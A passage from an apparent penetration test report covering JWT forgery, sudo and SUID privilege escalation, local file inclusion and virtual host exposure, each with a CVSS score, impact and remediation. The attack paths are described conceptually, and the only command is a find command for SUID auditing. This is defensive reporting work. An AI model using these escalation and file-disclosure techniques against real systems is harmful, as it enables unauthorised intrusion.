CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application implemented JSON Web Token authentication with a critical misconfiguration — either the "none" algorithm was accepted (allowing tokens with no signature to be trusted), or the signing secret was sufficiently weak to be recovered through offline cracking — enabling an attacker to forge tokens for arbitrary user identities.

Impact

An attacker can forge a JWT token asserting any user identity — including administrator accounts — without knowledge of any credentials. The forged token is accepted as legitimate by the application, granting the full privileges of the impersonated account. During this engagement, JWT misconfiguration was exploited to obtain administrative application access, which was subsequently leveraged to achieve server-level code execution.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Explicitly validate the "alg" header against a server-side allowlist of permitted algorithms — never trust the algorithm declared in the token itself. Reject any token specifying the "none" algorithm or any unexpected algorithm variant. Use asymmetric signing keys (RS256 or ES256) to eliminate the risk of symmetric secret disclosure. Generate signing secrets using cryptographically secure random number generators with a minimum key length of 256 bits.
F-005 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-006 — SUID Binary Abuse — Local Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.

Impact

Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all SUID and SGID binaries using find / -perm /6000 -type f 2>/dev/null and remove the SUID bit from all non-essential binaries. Establish a baseline of expected SUID binaries and alert on any deviations. Never install developer tools, scripting interpreters, or GTFOBins-listed utilities with the SUID permission. Apply nosuid mount options on partitions containing user-writable content.
F-007 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
F-008 — Virtual Host Misconfiguration — Hidden Service Exposure
5.3
Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

During the penetration test, it was discovered that virtual host and subdomain enumeration revealed one or more internal applications accessible only via specific Host header values. These applications were not intended to be publicly reachable and operated under the assumption that obscurity of the virtual hostname provided access control — with weaker or absent authentication as a result.

Impact

An attacker who discovers the correct virtual hostname via brute-force or DNS enumeration can access administrative interfaces, internal APIs, or development environments that bypass the authentication controls applied to the primary application. During this engagement, virtual host enumeration revealed an internal administration panel that was the pivotal entry point for achieving the initial authenticated foothold on the target.

Confidentiality
Low
Integrity
None
Availability
None

Remediation

Do not rely on virtual hostname obscurity as an access control mechanism. Apply equivalent authentication and authorisation controls to all virtual host applications regardless of perceived accessibility. Restrict internal-only virtual hosts to specific trusted IP ranges using network-layer controls. Remove all development and staging virtual hosts from production server configurations. Regularly enumerate your own DNS and virtual host exposure from an external perspective.
Reactions

Related Articles